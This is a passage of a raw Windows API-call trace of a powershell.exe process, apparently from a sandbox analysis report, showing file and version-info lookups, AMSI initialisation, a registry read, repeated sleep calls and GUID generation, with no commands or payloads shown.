lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0209.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07e9e0) returned 1 [0209.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x1ef00710d60 | out: lpFileInformation=0x1ef00710d60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc924418, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd45cea56, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0xbdca)) returned 1 [0209.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07e9a0) returned 1 [0209.025] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.400] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.488] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.581] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.675] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.769] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.868] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.956] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.050] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.222] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) Thread: id = 299 os_tid = 0xb94 Thread: id = 301 os_tid = 0xbac Thread: id = 302 os_tid = 0xb5c Thread: id = 306 os_tid = 0xbd0 [0178.361] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0178.362] CoGetContextToken (in: pToken=0x5bfe1ff400 | out: pToken=0x5bfe1ff400) returned 0x0 [0178.362] CObjectContext::QueryInterface () returned 0x0 [0178.362] CObjectContext::GetCurrentThreadType () returned 0x0 [0178.362] Release () returned 0x0 [0178.362] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0178.362] CoUninitialize () [0178.362] RoInitialize () returned 0x1 [0178.362] RoUninitialize () returned 0x0 [0180.174] GetCurrentProcessId () returned 0x1328 [0180.174] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1328) returned 0x5cc [0180.174] EnumProcessModules (in: hProcess=0x5cc, lphModule=0x1ef00063280, cb=0x200, lpcbNeeded=0x5bfe1fea60 | out: lphModule=0x1ef00063280, lpcbNeeded=0x5bfe1fea60) returned 1 [0180.174] GetModuleInformation (in: hProcess=0x5cc, hModule=0x7ff7e4740000, lpmodinfo=0x1ef000634f0, cb=0x18 | out: lpmodinfo=0x1ef000634f0*(lpBaseOfDll=0x7ff7e4740000, SizeOfImage=0x70000, EntryPoint=0x7ff7e4742ee0)) returned 1 [0180.174] CoTaskMemAlloc (cb=0x804) returned 0x1ef703ced40 [0180.174] GetModuleBaseNameW (in: hProcess=0x5cc, hModule=0x7ff7e4740000, lpBaseName=0x1ef703ced40, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0180.175] CoTaskMemFree (pv=0x1ef703ced40) [0180.175] CoTaskMemAlloc (cb=0x804) returned 0x1ef703d4d40 [0180.176] GetModuleFileNameExW (in: hProcess=0x5cc, hModule=0x7ff7e4740000, lpFilename=0x1ef703d4d40, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0180.176] CoTaskMemFree (pv=0x1ef703d4d40) [0180.176] CloseHandle (hObject=0x5cc) returned 1 [0180.180] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0180.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe1fe950) returned 1 [0180.180] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x5bfe1fea30 | out: lpFileInformation=0x5bfe1fea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e12506a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e12506a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e12506a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6ce00)) returned 1 [0180.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe1fe910) returned 1 [0180.180] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x5bfe1feb08 | out: lpdwHandle=0x5bfe1feb08) returned 0x72c [0180.180] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x72c, lpData=0x1ef00065808 | out: lpData=0x1ef00065808) returned 1 [0180.180] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5bfe1fea88, puLen=0x5bfe1fea80 | out: lplpBuffer=0x5bfe1fea88*=0x1ef00065b98, puLen=0x5bfe1fea80) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\CompanyName", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef000658c0, puLen=0x5bfe1fea20) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\FileDescription", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef00065914, puLen=0x5bfe1fea20) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\FileVersion", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef0006595c, puLen=0x5bfe1fea20) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\InternalName", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef000659c4, puLen=0x5bfe1fea20) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\LegalCopyright", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef00065a00, puLen=0x5bfe1fea20) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\OriginalFilename", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef00065a84, puLen=0x5bfe1fea20) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\ProductName", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef00065acc, puLen=0x5bfe1fea20) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\ProductVersion", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef00065b3c, puLen=0x5bfe1fea20) returned 1 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\Comments", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x0, puLen=0x5bfe1fea20) returned 0 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\LegalTrademarks", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x0, puLen=0x5bfe1fea20) returned 0 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\PrivateBuild", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x0, puLen=0x5bfe1fea20) returned 0 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\\\StringFileInfo\\\\041104B0\\\\SpecialBuild", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x0, puLen=0x5bfe1fea20) returned 0 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5bfe1fe9d8, puLen=0x5bfe1fe9d0 | out: lplpBuffer=0x5bfe1fe9d8*=0x1ef00065b98, puLen=0x5bfe1fe9d0) returned 1 [0180.181] VerLanguageNameW (in: wLang=0x411, szLang=0x5bfe1fe700, cchLang=0x100 | out: szLang="日本語 (日本)") returned 0x8 [0180.181] VerQueryValueW (in: pBlock=0x1ef00065808, lpSubBlock="\\", lplpBuffer=0x5bfe1fea28, puLen=0x5bfe1fea20 | out: lplpBuffer=0x5bfe1fea28*=0x1ef00065830, puLen=0x5bfe1fea20) returned 1 [0180.201] AmsiInitialize () returned 0x0 [0181.421] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfe1fd920, nSize=0x80 | out: lpBuffer="ⴸ쏨翹") returned 0x0 [0181.498] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfe1fd920, nSize=0x80 | out: lpBuffer="\x01") returned 0x0 [0182.031] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.031] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.032] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.035] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.142] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.235] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.454] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.501] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.595] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.627] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.672] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.766] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.850] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.943] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.991] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.037] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.085] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.131] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.209] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.256] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.303] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.426] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.459] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.676] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe1fe6e8 | out: phkResult=0x5bfe1fe6e8*=0x63c) returned 0x0 [0183.676] RegQueryValueExW (in: hKey=0x63c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe1fe738, lpData=0x0, lpcbData=0x5bfe1fe730*=0x0 | out: lpType=0x5bfe1fe738*=0x1, lpData=0x0, lpcbData=0x5bfe1fe730*=0x56) returned 0x0 [0183.676] RegQueryValueExW (in: hKey=0x63c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe1fe738, lpData=0x1ef001892d8, lpcbData=0x5bfe1fe730*=0x56 | out: lpType=0x5bfe1fe738*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfe1fe730*=0x56) returned 0x0 [0183.676] RegCloseKey (hKey=0x63c) returned 0x0 [0184.091] GetTimeZoneInformation (in: lpTimeZoneInformation=0x5bfe1fe350 | out: lpTimeZoneInformation=0x5bfe1fe350) returned 0x2 [0184.150] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfe1fd360, nSize=0x80 | out: lpBuffer="‘쉏翹") returned 0x0 [0184.152] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8933e48c, Data2=0x92e9, Data3=0x4eef, Data4=([0]=0x82, [1]=0xb8, [2]=0x2c, [3]=0xda, [4]=0xb6, [5]=0x61, [6]=0x57, [7]=0x85))) returned 0x0 [0184.190] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8982f6d9, Data2=0x62e, Data3=0x4a90, Data4=([0]=0xbd, [1]=0x95, [2]=0xbc, [3]=0x58, [4]=0x70, [5]=0xf7, [6]=0x7b, [7]=0x32))) returned 0x0 [0184.192] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xb09f3fd3, Data2=0x48f3, Data3=0x4392, Data4=([0]=0x98, [1]=0x53, [2]=0x60, [3]=0x4c, [4]=0x71, [5]=0x61, [6]=0x5d, [7]=0x89))) returned 0x0 [0184.193] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc1207080, Data2=0xb334, Data3=0x4c1e, Data4=([0]=0x9a, [1]=0xc8, [2]=0x7b, [3]=0xf9, [4]=0xcf, [5]=0x3f, [6]=0x24, [7]=0x60))) returned 0x0 [0184.370] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xaf67a2c3, Data2=0x4a08, Data3=0x40a7, Data4=([0]=0x84, [1]=0xe1, [2]=0x23, [3]=0x28, [4]=0x4a, [5]=0xa, [6]=0x89, [7]=0xf5))) returned 0x0 [0184.372] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x306a0478, Data2=0x21f7, Data3=0x4433, Data4=([0]=0x88, [1]=0x6d, [2]=0x19, [3]=0x23, [4]=0x41, [5]=0x50, [6]=0xf, [7]=0x3a))) returned 0x0 [0184.373] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x1996745, Data2=0x9ec1, Data3=0x405b, Data4=([0]=0x93, [1]=0xb6, [2]=0x1e, [3]=0x1a, [4]=0xb0, [5]=0x5f, [6]=0x96, [7]=0xb2))) returned 0x0 [0184.375] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7b6032ee, Data2=0x1ef8, Data3=0x45f7, Data4=([0]=0xbb, [1]=0x8a, [2]=0x3c, [3]=0x19, [4]=0x2, [5]=0x19, [6]=0x65, [7]=0x9f))) returned 0x0 [0184.376] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x4a57528, Data2=0xec89, Data3=0x4839, Data4=([0]=0x92, [1]=0xff, [2]=0xaa, [3]=0x55, [4]=0x7d, [5]=0xcf, [6]=0xee, [7]=0x8f))) returned 0x0 [0184.376] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa1c5c7c7, Data2=0x3a0d, Data3=0x49ea, Data4=([0]=0x8a, [1]=0x59, [2]=0x54, [3]=0xd, [4]=0xe6, [5]=0xa0, [6]=0xeb, [7]=0x31))) returned 0x0 [0184.378] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x410399a, Data2=0x1f6b, Data3=0x4181, Data4=([0]=0xa0, [1]=0x4f, [2]=0x38, [3]=0x32, [4]=0x70, [5]=0xdd, [6]=0xa, [7]=0x18))) returned 0x0 [0184.380] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x71620c3b, Data2=0xfea5, Data3=0x4f0b, Data4=([0]=0x94, [1]=0x11, [2]=0xc, [3]=0x4e, [4]=0x79, [5]=0x4e, [6]=0x92, [7]=0xd0))) returned 0x0 [0184.427] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x24b869e3, Data2=0xc992, Data3=0x4372, Data4=([0]=0x80, [1]=0x26, [2]=0xff, [3]=0x67, [4]=0xeb, [5]=0x10, [6]=0x79, [7]=0x50))) returned 0x0 [0184.427] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x68d925ae, Data2=0xabfd, Data3=0x43ba, Data4=([0]=0x96, [1]=0xd6, [2]=0x3c, [3]=0x31, [4]=0x9d, [5]=0xe3, [6]=0x61, [7]=0x37))) returned 0x0 [0184.429] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa5d4c51e, Data2=0x29fc, Data3=0x441f, Data4=([0]=0xb4, [1]=0xa6, [2]=0x0, [3]=0x18, [4]=0xdc, [5]=0x7c, [6]=0x23, [7]=0xcc))) returned 0x0 [0184.430] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xdc003a4b, Data2=0x4680, Data3=0x43ea, Data4=([0]=0x93, [1]=0xe1, [2]=0x6d, [3]=0xde, [4]=0xc1, [5]=0x57, [6]=0x3a, [7]=0x6d))) returned 0x0 [0184.431] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x830a3783, Data2=0x30f, Data3=0x4597, Data4=([0]=0x9f, [1]=0x59, [2]=0x38, [3]=0x2f, [4]=0x50, [5]=0x7d, [6]=0x43, [7]=0x8d))) returned 0x0 [0184.431] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8cb70dad, Data2=0x5613, Data3=0x46a7, Data4=([0]=0x96, [1]=0x87, [2]=0x7c, [3]=0x3d, [4]=0x93, [5]=0x9b, [6]=0xb5, [7]=0x7d))) returned 0x0 [0184.433] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xb20debcf, Data2=0xa1b6, Data3=0x430c, Data4=([0]=0x8a, [1]=0x41, [2]=0xb6, [3]=0x30, [4]=0x5f, [5]=0x78, [6]=0xd1, [7]=0xb3))) returned 0x0 [0184.435] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa159b681, Data2=0x6a0f, Data3=0x4824, Data4=([0]=0xae, [1]=0x6d, [2]=0xd2, [3]=0x1e, [4]=0x43, [5]=0x3d, [6]=0x1d, [7]=0x55))) returned 0x0 [0184.436] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x4dc9d714, Data2=0x5c9e, Data3=0x4c1e, Data4=([0]=0x98, [1]=0xf4, [2]=0x27, [3]=0x89, [4]=0x46, [5]=0x83, [6]=0xee, [7]=0xb1))) returned 0x0 [0184.436] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x3697134a, Data2=0x3a82, Data3=0x40b9, Data4=([0]=0x91, [1]=0xe6, [2]=0xf6, [3]=0xe4, [4]=0x42, [5]=0xb, [6]=0x35, [7]=0x15))) returned 0x0 [0184.438] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xb28b817f, Data2=0xac37, Data3=0x4523, Data4=([0]=0xab, [1]=0x79, [2]=0xed, [3]=0x75, [4]=0xaf, [5]=0xd, [6]=0x7d, [7]=0xce))) returned 0x0 [0184.439] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xbec67a31, Data2=0x2ce5, Data3=0x4a68, Data4=([0]=0xa7, [1]=0xa, [2]=0x22, [3]=0x38, [4]=0xa5, [5]=0x1, [6]=0xef, [7]=0x19))) returned 0x0 [0184.439] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x357c24e4, Data2=0xfd06, Data3=0x46df, Data4=([0]=0x81, [1]=0x2e, [2]=0xc0, [3]=0xc4, [4]=0x84, [5]=0xb9, [6]=0x44, [7]=0x2))) returned 0x0 [0184.440] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x4235003, Data2=0x7f4d, Data3=0x4c03, Data4=([0]=0xb0, [1]=0xf3, [2]=0xd, [3]=0x2b, [4]=0xd0, [5]=0xa3, [6]=0xd3, [7]=0x77))) returned 0x0 [0184.440] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xb0b46a7d, Data2=0xe3f9, Data3=0x4159, Data4=([0]=0x94, [1]=0x9c, [2]=0x6e, [3]=0xdb, [4]=0x98, [5]=0xbe, [6]=0x2e, [7]=0x74))) returned 0x0 [0184.441] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8dae58fa, Data2=0xb003, Data3=0x49bc, Data4=([0]=0x9a, [1]=0xad, [2]=0x9e, [3]=0xc0, [4]=0x63, [5]=0x8d, [6]=0x2a, [7]=0x6c))) returned 0x0 [0184.442] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xeeba4143, Data2=0xc87, Data3=0x4d09, Data4=([0]=0x8e, [1]=0x1e, [2]=0x19, [3]=0xb2, [4]=0x16, [5]=0xea, [6]=0x75, [7]=0x99))) returned 0x0 [0184.444] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x2c8e903e, Data2=0x98de, Data3=0x4aea, Data4=([0]=0xbb, [1]=0x5c, [2]=0x83, [3]=0xb8, [4]=0xee, [5]=0x7, [6]=0xde, [7]=0xfe))) returned 0x0 [0184.444] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x1f32394c, Data2=0xcbba, Data3=0x4a26, Data4=([0]=0x90, [1]=0xeb, [2]=0xc8, [3]=0x42, [4]=0x99, [5]=0x86, [6]=0x7c, [7]=0xf))) returned 0x0 [0184.445] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xcaf1dbd8, Data2=0x52f8, Data3=0x4de5, Data4=([0]=0xb1, [1]=0x79, [2]=0xce, [3]=0xb7, [4]=0x34, [5]=0xc1, [6]=0xf3, [7]=0x65))) returned 0x0 [0184.446] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x58d8041, Data2=0xa683, Data3=0x4ac2, Data4=([0]=0xa2, [1]=0xd5, [2]=0x9a, [3]=0x8c, [4]=0x5d, [5]=0x55, [6]=0xc3, [7]=0x95))) returned 0x0 [0184.447] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x73e9fc94, Data2=0x19b5, Data3=0x4ede, Data4=([0]=0xbb, [1]=0xb8, [2]=0x8e, [3]=0x4f, [4]=0xe5, [5]=0x61, [6]=0x62, [7]=0x93))) returned 0x0 [0184.447] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xff12ddfa, Data2=0xfe92, Data3=0x4da4, Data4=([0]=0x9e, [1]=0xa5, [2]=0x92, [3]=0xdc, [4]=0xc0, [5]=0x7b, [6]=0x40, [7]=0x43))) returned 0x0 [0184.447] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x9bb181d, Data2=0xda98, Data3=0x4022, Data4=([0]=0xa3, [1]=0x83, [2]=0xbe, [3]=0x42, [4]=0x46, [5]=0xfa, [6]=0xa6, [7]=0xae))) returned 0x0 [0184.450] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x29c297c, Data2=0x2adb, Data3=0x431e, Data4=([0]=0x8b, [1]=0xf7, [2]=0x3a, [3]=0x7, [4]=0x57, [5]=0xb9, [6]=0x4d, [7]=0x7))) returned 0x0 [0184.452] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xd32d4a23, Data2=0xd681, Data3=0x4526, Data4=([0]=0xb0, [1]=0xf8, [2]=0xde, [3]=0x75, [4]=0xb0, [5]=0xbd, [6]=0x42, [7]=0x5d))) returned 0x0 [0184.454] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5c3e17c6, Data2=0x1f8b, Data3=0x4443, Data4=([0]=0xa5, [1]=0x27, [2]=0xad, [3]=0x75, [4]=0xa, [5]=0x16, [6]=0xf9, [7]=0xce))) returned 0x0 [0184.455] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x43e80d1f, Data2=0x2d91, Data3=0x42eb, Data4=([0]=0xa2, [1]=0xf7, [2]=0x47, [3]=0x21, [4]=0x57, [5]=0x30, [6]=0x6d, [7]=0x3d))) returned 0x0 [0184.457] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc5420c51, Data2=0x6f58, Data3=0x4f8f, Data4=([0]=0xb1, [1]=0xec, [2]=0x20, [3]=0xb9, [4]=0x3, [5]=0xec, [6]=0xc3, [7]=0x72))) returned 0x0 [0184.554] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xbcbd511e, Data2=0xb465, Data3=0x4f76, Data4=([0]=0x8b, [1]=0xbe, [2]=0xbf, [3]=0x81, [4]=0xa6, [5]=0xd3, [6]=0xae, [7]=0x8e))) returned 0x0 [0184.555] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x2166dd76, Data2=0xda30, Data3=0x4683, Data4=([0]=0x93, [1]=0xb4, [2]=0x1c, [3]=0xbe, [4]=0x28, [5]=0xe, [6]=0x5c, [7]=0x43))) returned 0x0 [0184.558] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa2753dcd, Data2=0x90d, 